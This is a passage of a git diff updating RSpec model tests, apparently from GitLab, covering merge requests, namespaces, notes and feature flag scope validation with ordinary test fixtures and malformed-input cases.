+ let(:project) { create(:project, :repository) }
+
+ subject { create(:merge_request, :with_diffs, source_project: project) }
+
it 'fetches the ref correctly' do
expect { subject.target_project.repository.delete_refs(subject.ref_path) }.not_to raise_error
@@ -3482,8 +3648,10 @@ RSpec.describe MergeRequest do
end
context 'state machine transitions' do
+ let(:project) { create(:project, :repository) }
+
describe '#unlock_mr' do
- subject { create(:merge_request, state: 'locked', merge_jid: 123) }
+ subject { create(:merge_request, state: 'locked', source_project: project, merge_jid: 123) }
it 'updates merge request head pipeline and sets merge_jid to nil', :sidekiq_might_not_need_inline do
pipeline = create(:ci_empty_pipeline, project: subject.project, ref: subject.source_branch, sha: subject.source_branch_sha)
@@ -3500,7 +3668,7 @@ RSpec.describe MergeRequest do
let(:notification_service) { double(:notification_service) }
let(:todo_service) { double(:todo_service) }
- subject { create(:merge_request, state, merge_status: :unchecked) }
+ subject { create(:merge_request, state, source_project: project, merge_status: :unchecked) }
before do
allow(NotificationService).to receive(:new).and_return(notification_service)
@@ -3589,7 +3757,7 @@ RSpec.describe MergeRequest do
end
context 'source branch is missing' do
- subject { create(:merge_request, :invalid, :opened, merge_status: :unchecked, target_branch: 'master') }
+ subject { create(:merge_request, :invalid, :opened, source_project: project, merge_status: :unchecked, target_branch: 'master') }
before do
allow(subject.project.repository).to receive(:can_be_merged?).and_call_original
@@ -3622,10 +3790,8 @@ RSpec.describe MergeRequest do
end
describe '#should_be_rebased?' do
- let(:project) { create(:project, :repository) }
-
it 'returns false for the same source and target branches' do
- merge_request = create(:merge_request, source_project: project, target_project: project)
+ merge_request = build_stubbed(:merge_request, source_project: project, target_project: project)
expect(merge_request.should_be_rebased?).to be_falsey
end
@@ -3640,7 +3806,7 @@ RSpec.describe MergeRequest do
end
with_them do
- let(:merge_request) { create(:merge_request) }
+ let(:merge_request) { build_stubbed(:merge_request) }
subject { merge_request.rebase_in_progress? }
@@ -3863,7 +4029,7 @@ RSpec.describe MergeRequest do
describe '#cleanup_refs' do
subject { merge_request.cleanup_refs(only: only) }
- let(:merge_request) { build(:merge_request) }
+ let(:merge_request) { build(:merge_request, source_project: create(:project, :repository)) }
context 'when removing all refs' do
let(:only) { :all }
@@ -4084,4 +4250,58 @@ RSpec.describe MergeRequest do
expect(context[:label_url_method]).to eq(:project_merge_requests_url)
end
end
+
+ describe '#head_pipeline_builds_with_coverage' do
+ it 'delegates to head_pipeline' do
+ expect(subject)
+ .to delegate_method(:builds_with_coverage)
+ .to(:head_pipeline)
+ .with_prefix
+ .with_arguments(allow_nil: true)
+ end
+ end
+
+ describe '#allows_reviewers?' do
+ it 'returns false without merge_request_reviewers feature' do
+ stub_feature_flags(merge_request_reviewers: false)
+
+ merge_request = build_stubbed(:merge_request)
+
+ expect(merge_request.allows_reviewers?).to be(false)
+ end
+
+ it 'returns true with merge_request_reviewers feature' do
+ stub_feature_flags(merge_request_reviewers: true)
+
+ merge_request = build_stubbed(:merge_request)
+
+ expect(merge_request.allows_reviewers?).to be(true)
+ end
+ end
+
+ describe '#merge_ref_head' do
+ let(:merge_request) { create(:merge_request) }
+
+ context 'when merge_ref_sha is not present' do
+ let!(:result) do
+ MergeRequests::MergeToRefService
+ .new(merge_request.project, merge_request.author)
+ .execute(merge_request)
+ end
+
+ it 'returns the commit based on merge ref path' do
+ expect(merge_request.merge_ref_head.id).to eq(result[:commit_id])
+ end
+ end
+
+ context 'when merge_ref_sha is present' do
+ before do
+ merge_request.update!(merge_ref_sha: merge_request.project.repository.commit.id)
+ end
+
+ it 'returns the commit based on cached merge_ref_sha' do
+ expect(merge_request.merge_ref_head.id).to eq(merge_request.merge_ref_sha)
+ end
+ end
+ end
end
diff --git a/spec/models/metrics/dashboard/annotation_spec.rb b/spec/models/metrics/dashboard/annotation_spec.rb
index bd4baeb8851..4b7492016f3 100644
--- a/spec/models/metrics/dashboard/annotation_spec.rb
+++ b/spec/models/metrics/dashboard/annotation_spec.rb
@@ -100,7 +100,7 @@ RSpec.describe Metrics::Dashboard::Annotation do
describe '#ending_before' do
it 'returns annotations only for appointed dashboard' do
- Timecop.freeze do
+ freeze_time do
twelve_minutes_old_annotation = create(:metrics_dashboard_annotation, starting_at: 15.minutes.ago, ending_at: 12.minutes.ago)
create(:metrics_dashboard_annotation, starting_at: 15.minutes.ago, ending_at: 11.minutes.ago)
diff --git a/spec/models/milestone_spec.rb b/spec/models/milestone_spec.rb
index b52b035e130..e611484f5ee 100644
--- a/spec/models/milestone_spec.rb
+++ b/spec/models/milestone_spec.rb
@@ -3,6 +3,11 @@
require 'spec_helper'
RSpec.describe Milestone do
+ let(:user) { create(:user) }
+ let(:issue) { create(:issue, project: project) }
+ let(:milestone) { create(:milestone, project: project) }
+ let(:project) { create(:project, :public) }
+
it_behaves_like 'a timebox', :milestone
describe 'MilestoneStruct#serializable_hash' do
@@ -47,11 +52,6 @@ RSpec.describe Milestone do
it { is_expected.to have_many(:milestone_releases) }
end
- let(:project) { create(:project, :public) }
- let(:milestone) { create(:milestone, project: project) }
- let(:issue) { create(:issue, project: project) }
- let(:user) { create(:user) }
-
describe '.predefined_id?' do
it 'returns true for a predefined Milestone ID' do
expect(Milestone.predefined_id?(described_class::Upcoming.id)).to be true
diff --git a/spec/models/namespace/root_storage_statistics_spec.rb b/spec/models/namespace/root_storage_statistics_spec.rb
index ce6f875ee09..92a8d17a2a8 100644
--- a/spec/models/namespace/root_storage_statistics_spec.rb
+++ b/spec/models/namespace/root_storage_statistics_spec.rb
@@ -44,6 +44,7 @@ RSpec.describe Namespace::RootStorageStatistics, type: :model do
total_packages_size = stat1.packages_size + stat2.packages_size
total_storage_size = stat1.storage_size + stat2.storage_size
total_snippets_size = stat1.snippets_size + stat2.snippets_size
+ total_pipeline_artifacts_size = stat1.pipeline_artifacts_size + stat2.pipeline_artifacts_size
expect(root_storage_statistics.repository_size).to eq(total_repository_size)
expect(root_storage_statistics.wiki_size).to eq(total_wiki_size)
@@ -52,6 +53,7 @@ RSpec.describe Namespace::RootStorageStatistics, type: :model do
expect(root_storage_statistics.packages_size).to eq(total_packages_size)
expect(root_storage_statistics.storage_size).to eq(total_storage_size)
expect(root_storage_statistics.snippets_size).to eq(total_snippets_size)
+ expect(root_storage_statistics.pipeline_artifacts_size).to eq(total_pipeline_artifacts_size)
end
it 'works when there are no projects' do
@@ -67,6 +69,7 @@ RSpec.describe Namespace::RootStorageStatistics, type: :model do
expect(root_storage_statistics.packages_size).to eq(0)
expect(root_storage_statistics.storage_size).to eq(0)
expect(root_storage_statistics.snippets_size).to eq(0)
+ expect(root_storage_statistics.pipeline_artifacts_size).to eq(0)
end
end
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 4ef2ddd218a..ca1f06370d4 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -175,12 +175,13 @@ RSpec.describe Namespace do
end
describe '.with_statistics' do
- let(:namespace) { create :namespace }
+ let_it_be(:namespace) { create(:namespace) }
let(:project1) do
create(:project,
namespace: namespace,
statistics: build(:project_statistics,
+ namespace: namespace,
repository_size: 101,
wiki_size: 505,
lfs_objects_size: 202,
@@ -193,6 +194,7 @@ RSpec.describe Namespace do
create(:project,
namespace: namespace,
statistics: build(:project_statistics,
+ namespace: namespace,
repository_size: 10,
wiki_size: 50,
lfs_objects_size: 20,
@@ -391,14 +393,14 @@ RSpec.describe Namespace do
let(:uploads_dir) { FileUploader.root }
let(:pages_dir) { File.join(TestEnv.pages_path) }
- def expect_project_directories_at(namespace_path)
+ def expect_project_directories_at(namespace_path, with_pages: true)
expected_repository_path = File.join(TestEnv.repos_path, namespace_path, 'the-project.git')
expected_upload_path = File.join(uploads_dir, namespace_path, 'the-project')
expected_pages_path = File.join(pages_dir, namespace_path, 'the-project')
expect(File.directory?(expected_repository_path)).to be_truthy
expect(File.directory?(expected_upload_path)).to be_truthy
- expect(File.directory?(expected_pages_path)).to be_truthy
+ expect(File.directory?(expected_pages_path)).to be(with_pages)
end
before do
@@ -407,43 +409,156 @@ RSpec.describe Namespace do
FileUtils.mkdir_p(File.join(pages_dir, project.full_path))
end
+ after do
+ FileUtils.remove_entry(File.join(TestEnv.repos_path, parent.full_path), true)
+ FileUtils.remove_entry(File.join(TestEnv.repos_path, new_parent.full_path), true)
+ FileUtils.remove_entry(File.join(TestEnv.repos_path, child.full_path), true)
+ FileUtils.remove_entry(File.join(uploads_dir, project.full_path), true)
+ FileUtils.remove_entry(pages_dir, true)
+ end
+
context 'renaming child' do
- it 'correctly moves the repository, uploads and pages' do
- child.update!(path: 'renamed')
+ context 'when no projects have pages deployed' do
+ it 'moves the repository and uploads', :sidekiq_inline do
+ project.pages_metadatum.update!(deployed: false)
+ child.update!(path: 'renamed')
- expect_project_directories_at('parent/renamed')
+ expect_project_directories_at('parent/renamed', with_pages: false)
+ end
+ end
+
+ context 'when the project has pages deployed' do
+ before do
+ project.pages_metadatum.update!(deployed: true)
+ end
+
+ it 'correctly moves the repository, uploads and pages', :sidekiq_inline do
+ child.update!(path: 'renamed')
+
+ expect_project_directories_at('parent/renamed')
+ end
+
+ it 'performs the move async of pages async' do
+ expect(PagesTransferWorker).to receive(:perform_async).with('rename_namespace', ['parent/child', 'parent/renamed'])
+
+ child.update!(path: 'renamed')
+ end
end
end
context 'renaming parent' do
- it 'correctly moves the repository, uploads and pages' do
- parent.update!(path: 'renamed')
+ context 'when no projects have pages deployed' do
+ it 'moves the repository and uploads', :sidekiq_inline do
+ project.pages_metadatum.update!(deployed: false)
+ parent.update!(path: 'renamed')
- expect_project_directories_at('renamed/child')
+ expect_project_directories_at('renamed/child', with_pages: false)
+ end
+ end
+
+ context 'when the project has pages deployed' do
+ before do
+ project.pages_metadatum.update!(deployed: true)
+ end
+
+ it 'correctly moves the repository, uploads and pages', :sidekiq_inline do
+ parent.update!(path: 'renamed')
+
+ expect_project_directories_at('renamed/child')
+ end
+
+ it 'performs the move async of pages async' do
+ expect(PagesTransferWorker).to receive(:perform_async).with('rename_namespace', %w(parent renamed))
+
+ parent.update!(path: 'renamed')
+ end
end
end
context 'moving from one parent to another' do
- it 'correctly moves the repository, uploads and pages' do
- child.update!(parent: new_parent)
+ context 'when no projects have pages deployed' do
+ it 'moves the repository and uploads', :sidekiq_inline do
+ project.pages_metadatum.update!(deployed: false)
+ child.update!(parent: new_parent)
+
+ expect_project_directories_at('new_parent/child', with_pages: false)
+ end
+ end
- expect_project_directories_at('new_parent/child')
+ context 'when the project has pages deployed' do
+ before do
+ project.pages_metadatum.update!(deployed: true)
+ end
+
+ it 'correctly moves the repository, uploads and pages', :sidekiq_inline do
+ child.update!(parent: new_parent)
+
+ expect_project_directories_at('new_parent/child')
+ end
+
+ it 'performs the move async of pages async' do
+ expect(PagesTransferWorker).to receive(:perform_async).with('move_namespace', %w(child parent new_parent))
+
+ child.update!(parent: new_parent)
+ end
end
end
context 'moving from having a parent to root' do
- it 'correctly moves the repository, uploads and pages' do
- child.update!(parent: nil)
+ context 'when no projects have pages deployed' do
+ it 'moves the repository and uploads', :sidekiq_inline do
+ project.pages_metadatum.update!(deployed: false)
+ child.update!(parent: nil)
+
+ expect_project_directories_at('child', with_pages: false)
+ end
+ end
+
+ context 'when the project has pages deployed' do
+ before do
+ project.pages_metadatum.update!(deployed: true)
+ end
+
+ it 'correctly moves the repository, uploads and pages', :sidekiq_inline do
+ child.update!(parent: nil)
- expect_project_directories_at('child')
+ expect_project_directories_at('child')
+ end
+
+ it 'performs the move async of pages async' do
+ expect(PagesTransferWorker).to receive(:perform_async).with('move_namespace', ['child', 'parent', nil])
+
+ child.update!(parent: nil)
+ end
end
end
context 'moving from root to having a parent' do
- it 'correctly moves the repository, uploads and pages' do
- parent.update!(parent: new_parent)
+ context 'when no projects have pages deployed' do
+ it 'moves the repository and uploads', :sidekiq_inline do
+ project.pages_metadatum.update!(deployed: false)
+ parent.update!(parent: new_parent)
- expect_project_directories_at('new_parent/parent/child')
+ expect_project_directories_at('new_parent/parent/child', with_pages: false)
+ end
+ end
+
+ context 'when the project has pages deployed' do
+ before do
+ project.pages_metadatum.update!(deployed: true)
+ end
+
+ it 'correctly moves the repository, uploads and pages', :sidekiq_inline do
+ parent.update!(parent: new_parent)
+
+ expect_project_directories_at('new_parent/parent/child')
+ end
+
+ it 'performs the move async of pages async' do
+ expect(PagesTransferWorker).to receive(:perform_async).with('move_namespace', ['parent', nil, 'new_parent'])
+
+ parent.update!(parent: new_parent)
+ end
end
end
end
@@ -588,6 +703,21 @@ RSpec.describe Namespace do
end
end
+ describe ".clean_name" do
+ context "when the name complies with the group name regex" do
+ it "returns the name as is" do
+ valid_name = "Hello - World _ (Hi.)"
+ expect(described_class.clean_name(valid_name)).to eq(valid_name)
+ end
+ end
+
+ context "when the name does not comply with the group name regex" do
+ it "sanitizes the name by replacing all invalid char sequences with a space" do
+ expect(described_class.clean_name("Green'! Test~~~")).to eq("Green Test")
+ end
+ end
+ end
+
describe "#default_branch_protection" do
let(:namespace) { create(:namespace) }
let(:default_branch_protection) { nil }
@@ -1101,6 +1231,27 @@ RSpec.describe Namespace do
end
end
+ describe '#any_project_with_pages_deployed?' do
+ it 'returns true if any project nested under the group has pages deployed' do
+ parent_1 = create(:group) # Three projects, one with pages
+ child_1_1 = create(:group, parent: parent_1) # Two projects, one with pages
+ child_1_2 = create(:group, parent: parent_1) # One project, no pages
+ parent_2 = create(:group) # No projects
+
+ create(:project, group: child_1_1).tap do |project|
+ project.pages_metadatum.update!(deployed: true)
+ end
+
+ create(:project, group: child_1_1)
+ create(:project, group: child_1_2)
+
+ expect(parent_1.any_project_with_pages_deployed?).to be(true)
+ expect(child_1_1.any_project_with_pages_deployed?).to be(true)
+ expect(child_1_2.any_project_with_pages_deployed?).to be(false)
+ expect(parent_2.any_project_with_pages_deployed?).to be(false)
+ end
+ end
+
describe '#has_parent?' do
it 'returns true when the group has a parent' do
group = create(:group, :nested)
diff --git a/spec/models/note_spec.rb b/spec/models/note_spec.rb
index 7edd7849bbe..a3417ee5fc7 100644
--- a/spec/models/note_spec.rb
+++ b/spec/models/note_spec.rb
@@ -67,7 +67,7 @@ RSpec.describe Note do
end
context 'when noteable is a personal snippet' do
- subject { build(:note_on_personal_snippet) }
+ subject { build(:note_on_personal_snippet, noteable: create(:personal_snippet)) }
it 'is valid without project' do
is_expected.to be_valid
@@ -109,7 +109,8 @@ RSpec.describe Note do
describe 'callbacks' do
describe '#notify_after_create' do
it 'calls #after_note_created on the noteable' do
- note = build(:note)
+ noteable = create(:issue)
+ note = build(:note, project: noteable.project, noteable: noteable)
expect(note).to receive(:notify_after_create).and_call_original
expect(note.noteable).to receive(:after_note_created).with(note)
@@ -285,6 +286,56 @@ RSpec.describe Note do
end
end
+ describe "noteable_author?" do
+ let(:user1) { create(:user) }
+ let(:user2) { create(:user) }
+ let(:project) { create(:project, :public, :repository) }
+
+ context 'when note is on commit' do
+ let(:noteable) { create(:commit, project: project, author: user1) }
+
+ context 'if user is the noteable author' do
+ let(:note) { create(:discussion_note_on_commit, commit_id: noteable.id, project: project, author: user1) }
+ let(:diff_note) { create(:diff_note_on_commit, commit_id: noteable.id, project: project, author: user1) }
+
+ it 'returns true' do
+ expect(note.noteable_author?(noteable)).to be true
+ expect(diff_note.noteable_author?(noteable)).to be true
+ end
+ end
+
+ context 'if user is not the noteable author' do
+ let(:note) { create(:discussion_note_on_commit, commit_id: noteable.id, project: project, author: user2) }
+ let(:diff_note) { create(:diff_note_on_commit, commit_id: noteable.id, project: project, author: user2) }
+
+ it 'returns false' do
+ expect(note.noteable_author?(noteable)).to be false
+ expect(diff_note.noteable_author?(noteable)).to be false
+ end
+ end
+ end
+
+ context 'when note is on issue' do
+ let(:noteable) { create(:issue, project: project, author: user1) }
+
+ context 'if user is the noteable author' do
+ let(:note) { create(:note, noteable: noteable, author: user1, project: project) }
+
+ it 'returns true' do
+ expect(note.noteable_author?(noteable)).to be true
+ end
+ end
+
+ context 'if user is not the noteable author' do
+ let(:note) { create(:note, noteable: noteable, author: user2, project: project) }
+
+ it 'returns false' do
+ expect(note.noteable_author?(noteable)).to be false
+ end
+ end
+ end
+ end
+
describe "edited?" do
let(:note) { build(:note, updated_by_id: nil, created_at: Time.current, updated_at: Time.current + 5.hours) }
@@ -840,7 +891,8 @@ RSpec.describe Note do
let(:html) { '<p>some html</p>'}
context 'note for a project snippet' do
- let(:note) { build(:note_on_project_snippet) }
+ let(:snippet) { create(:project_snippet) }
+ let(:note) { build(:note_on_project_snippet, project: snippet.project, noteable: snippet) }
before do
expect(Banzai::Renderer).to receive(:cacheless_render_field)
@@ -855,7 +907,8 @@ RSpec.describe Note do
end
context 'note for a personal snippet' do
- let(:note) { build(:note_on_personal_snippet) }
+ let(:snippet) { create(:personal_snippet) }
+ let(:note) { build(:note_on_personal_snippet, noteable: snippet) }
before do
expect(Banzai::Renderer).to receive(:cacheless_render_field)
@@ -889,7 +942,7 @@ RSpec.describe Note do
context 'for a note on a commit' do
it 'returns true' do
- note = build(:note_on_commit)
+ note = build(:note_on_commit, project: create(:project, :repository))
expect(note.can_be_discussion_note?).to be_truthy
end
@@ -913,7 +966,7 @@ RSpec.describe Note do
context 'for a diff note on commit' do
it 'returns false' do
- note = build(:diff_note_on_commit)
+ note = build(:diff_note_on_commit, project: create(:project, :repository))
expect(note.can_be_discussion_note?).to be_falsey
end
@@ -1143,7 +1196,8 @@ RSpec.describe Note do
end
describe 'expiring ETag cache' do
- let(:note) { build(:note_on_issue) }
+ let_it_be(:issue) { create(:issue) }
+ let(:note) { build(:note, project: issue.project, noteable: issue) }
def expect_expiration(noteable)
expect_any_instance_of(Gitlab::EtagCaching::Store)
@@ -1224,22 +1278,6 @@ RSpec.describe Note do
end
end
- describe '#special_role=' do
- let(:role) { Note::SpecialRole::FIRST_TIME_CONTRIBUTOR }
-
- it 'assigns role' do
- subject.special_role = role
-
- expect(subject.special_role).to eq(role)
- end
-
- it 'does not assign unknown role' do
- expect { subject.special_role = :bogus }.to raise_error(/Role is undefined/)
-
- expect(subject.special_role).to be_nil
- end
- end
-
describe '#parent' do
it 'returns project for project notes' do
project = create(:project)
@@ -1416,4 +1454,20 @@ RSpec.describe Note do
expect(note.parent_user).to be_nil
end
end
+
+ describe '#skip_notification?' do
+ subject(:skip_notification?) { note.skip_notification? }
+
+ context 'when there is no review' do
+ let(:note) { build(:note) }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when the review exists' do
+ let(:note) { build(:note, :with_review) }
+
+ it { is_expected.to be_truthy }
+ end
+ end
end
diff --git a/spec/models/operations/feature_flag_scope_spec.rb b/spec/models/operations/feature_flag_scope_spec.rb
new file mode 100644
index 00000000000..29d338d8b29
--- /dev/null
+++ b/spec/models/operations/feature_flag_scope_spec.rb
@@ -0,0 +1,391 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Operations::FeatureFlagScope do
+ describe 'associations' do
+ it { is_expected.to belong_to(:feature_flag) }
+ end
+
+ describe 'validations' do
+ context 'when duplicate environment scope is going to be created' do
+ let!(:existing_feature_flag_scope) do
+ create(:operations_feature_flag_scope)
+ end
+
+ let(:new_feature_flag_scope) do
+ build(:operations_feature_flag_scope,
+ feature_flag: existing_feature_flag_scope.feature_flag,
+ environment_scope: existing_feature_flag_scope.environment_scope)
+ end
+
+ it 'validates uniqueness of environment scope' do
+ new_feature_flag_scope.save
+
+ expect(new_feature_flag_scope.errors[:environment_scope])
+ .to include("(#{existing_feature_flag_scope.environment_scope})" \
+ " has already been taken")
+ end
+ end
+
+ context 'when environment scope of a default scope is updated' do
+ let!(:feature_flag) { create(:operations_feature_flag) }
+ let!(:scope_default) { feature_flag.default_scope }
+
+ it 'keeps default scope intact' do
+ scope_default.update(environment_scope: 'review/*')
+
+ expect(scope_default.errors[:environment_scope])
+ .to include("cannot be changed from default scope")
+ end
+ end
+
+ context 'when a default scope is destroyed' do
+ let!(:feature_flag) { create(:operations_feature_flag) }
+ let!(:scope_default) { feature_flag.default_scope }
+
+ it 'prevents from destroying the default scope' do
+ expect { scope_default.destroy! }.to raise_error(ActiveRecord::ReadOnlyRecord)
+ end
+ end
+
+ describe 'strategy validations' do
+ it 'handles null strategies which can occur while adding the column during migration' do
+ scope = create(:operations_feature_flag_scope, active: true)
+ allow(scope).to receive(:strategies).and_return(nil)
+
+ scope.active = false
+ scope.save
+
+ expect(scope.errors[:strategies]).to be_empty
+ end
+
+ it 'validates multiple strategies' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: "default", parameters: {} },
+ { name: "invalid", parameters: {} }])
+
+ expect(scope.errors[:strategies]).not_to be_empty
+ end
+
+ where(:invalid_value) do
+ [{}, 600, "bad", [{ name: 'default', parameters: {} }, 300]]
+ end
+ with_them do
+ it 'must be an array of strategy hashes' do
+ scope = create(:operations_feature_flag_scope)
+
+ scope.strategies = invalid_value
+ scope.save
+
+ expect(scope.errors[:strategies]).to eq(['must be an array of strategy hashes'])
+ end
+ end
+
+ describe 'name' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:name, :params, :expected) do
+ 'default' | {} | []
+ 'gradualRolloutUserId' | { groupId: 'mygroup', percentage: '50' } | []
+ 'userWithId' | { userIds: 'sam' } | []
+ 5 | nil | ['strategy name is invalid']
+ nil | nil | ['strategy name is invalid']
+ "nothing" | nil | ['strategy name is invalid']
+ "" | nil | ['strategy name is invalid']
+ 40.0 | nil | ['strategy name is invalid']
+ {} | nil | ['strategy name is invalid']
+ [] | nil | ['strategy name is invalid']
+ end
+ with_them do
+ it 'must be one of "default", "gradualRolloutUserId", or "userWithId"' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: name, parameters: params }])
+
+ expect(scope.errors[:strategies]).to eq(expected)
+ end
+ end
+ end
+
+ describe 'parameters' do
+ context 'when the strategy name is gradualRolloutUserId' do
+ it 'must have parameters' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId' }])
+
+ expect(scope.errors[:strategies]).to eq(['parameters are invalid'])
+ end
+
+ where(:invalid_parameters) do
+ [nil, {}, { percentage: '40', groupId: 'mygroup', userIds: '4' }, { percentage: '40' },
+ { percentage: '40', groupId: 'mygroup', extra: nil }, { groupId: 'mygroup' }]
+ end
+ with_them do
+ it 'must have valid parameters for the strategy' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId',
+ parameters: invalid_parameters }])
+
+ expect(scope.errors[:strategies]).to eq(['parameters are invalid'])
+ end
+ end
+
+ it 'allows the parameters in any order' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId',
+ parameters: { percentage: '10', groupId: 'mygroup' } }])
+
+ expect(scope.errors[:strategies]).to be_empty
+ end
+
+ describe 'percentage' do
+ where(:invalid_value) do
+ [50, 40.0, { key: "value" }, "garbage", "00", "01", "101", "-1", "-10", "0100",
+ "1000", "10.0", "5%", "25%", "100hi", "e100", "30m", " ", "\r\n", "\n", "\t",
+ "\n10", "20\n", "\n100", "100\n", "\n ", nil]
+ end
+ with_them do
+ it 'must be a string value between 0 and 100 inclusive and without a percentage sign' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId',
+ parameters: { groupId: 'mygroup', percentage: invalid_value } }])
+
+ expect(scope.errors[:strategies]).to eq(['percentage must be a string between 0 and 100 inclusive'])
+ end
+ end
+
+ where(:valid_value) do
+ %w[0 1 10 38 100 93]
+ end
+ with_them do
+ it 'must be a string value between 0 and 100 inclusive and without a percentage sign' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId',
+ parameters: { groupId: 'mygroup', percentage: valid_value } }])
+
+ expect(scope.errors[:strategies]).to eq([])
+ end
+ end
+ end
+
+ describe 'groupId' do
+ where(:invalid_value) do
+ [nil, 4, 50.0, {}, 'spaces bad', 'bad$', '%bad', '<bad', 'bad>', '!bad',
+ '.bad', 'Bad', 'bad1', "", " ", "b" * 33, "ba_d", "ba\nd"]
+ end
+ with_them do
+ it 'must be a string value of up to 32 lowercase characters' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId',
+ parameters: { groupId: invalid_value, percentage: '40' } }])
+
+ expect(scope.errors[:strategies]).to eq(['groupId parameter is invalid'])
+ end
+ end
+
+ where(:valid_value) do
+ ["somegroup", "anothergroup", "okay", "g", "a" * 32]
+ end
+ with_them do
+ it 'must be a string value of up to 32 lowercase characters' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'gradualRolloutUserId',
+ parameters: { groupId: valid_value, percentage: '40' } }])
+
+ expect(scope.errors[:strategies]).to eq([])
+ end
+ end
+ end
+ end
+
+ context 'when the strategy name is userWithId' do
+ it 'must have parameters' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'userWithId' }])
+
+ expect(scope.errors[:strategies]).to eq(['parameters are invalid'])
+ end
+
+ where(:invalid_parameters) do
+ [nil, { userIds: 'sam', percentage: '40' }, { userIds: 'sam', some: 'param' }, { percentage: '40' }, {}]
+ end
+ with_them do
+ it 'must have valid parameters for the strategy' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'userWithId', parameters: invalid_parameters }])
+
+ expect(scope.errors[:strategies]).to eq(['parameters are invalid'])
+ end
+ end
+
+ describe 'userIds' do
+ where(:valid_value) do
+ ["", "sam", "1", "a", "uuid-of-some-kind", "sam,fred,tom,jane,joe,mike",
+ "gitlab@example.com", "123,4", "UPPER,Case,charActeRS", "0",
+ "$valid$email#2345#$%..{}+=-)?\\/@example.com", "spaces allowed",
+ "a" * 256, "a,#{'b' * 256},ccc", "many spaces"]
+ end
+ with_them do
+ it 'is valid with a string of comma separated values' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'userWithId', parameters: { userIds: valid_value } }])
+
+ expect(scope.errors[:strategies]).to be_empty
+ end
+ end
+
+ where(:invalid_value) do
+ [1, 2.5, {}, [], nil, "123\n456", "1,2,3,12\t3", "\n", "\n\r",
+ "joe\r,sam", "1,2,2", "1,,2", "1,2,,,,", "b" * 257, "1, ,2", "tim, ,7", " ",
+ " ", " ,1", "1, ", " leading,1", "1,trailing ", "1, both ,2"]
+ end
+ with_them do
+ it 'is invalid' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'userWithId', parameters: { userIds: invalid_value } }])
+
+ expect(scope.errors[:strategies]).to include(
+ 'userIds must be a string of unique comma separated values each 256 characters or less'
+ )
+ end
+ end
+ end
+ end
+
+ context 'when the strategy name is default' do
+ it 'must have parameters' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'default' }])
+
+ expect(scope.errors[:strategies]).to eq(['parameters are invalid'])
+ end
+
+ where(:invalid_value) do
+ [{ groupId: "hi", percentage: "7" }, "", "nothing", 7, nil, [], 2.5]
+ end
+ with_them do
+ it 'must be empty' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'default',
+ parameters: invalid_value }])
+
+ expect(scope.errors[:strategies]).to eq(['parameters are invalid'])
+ end
+ end
+
+ it 'must be empty' do
+ feature_flag = create(:operations_feature_flag)
+ scope = described_class.create(feature_flag: feature_flag,
+ environment_scope: 'production', active: true,
+ strategies: [{ name: 'default',
+ parameters: {} }])
+
+ expect(scope.errors[:strategies]).to be_empty
+ end
+ end
+ end
+ end
+ end
+
+ describe '.enabled' do
+ subject { described_class.enabled }
+
+ let!(:feature_flag_scope) do
+ create(:operations_feature_flag_scope, active: active)
+ end
+
+ context 'when scope is active' do
+ let(:active) { true }
+
+ it 'returns the scope' do
+ is_expected.to include(feature_flag_scope)
+ end
+ end
+
+ context 'when scope is inactive' do
+ let(:active) { false }
+
+ it 'returns an empty array' do
+ is_expected.not_to include(feature_flag_scope)
+ end
+ end
+ end
+
+ describe '.disabled' do
+ subject { described_class.disabled }
+
+ let!(:feature_flag_scope) do
+ create(:operations_feature_flag_scope, active: active)
+ end
+
+ context 'when scope is active' do
+ let(:active) { true }
+
+ it 'returns an empty array' do
+ is_expected.not_to include(feature_flag_scope)
+ end
+ end
+
+ context 'when scope is inactive' do
+ let(:active) { false }
+
+ it 'returns the scope' do
+ is_expected.to include(feature_flag_scope)
+ end
+ end
+ end
+
+ describe '.for_unleash_client' do
+ it 'returns scopes for the specified project' do
+ project1 = create(:project)
+ project2 = create(:project)
+ expected_feature_flag = create(:operations_feature_flag, project: project1)
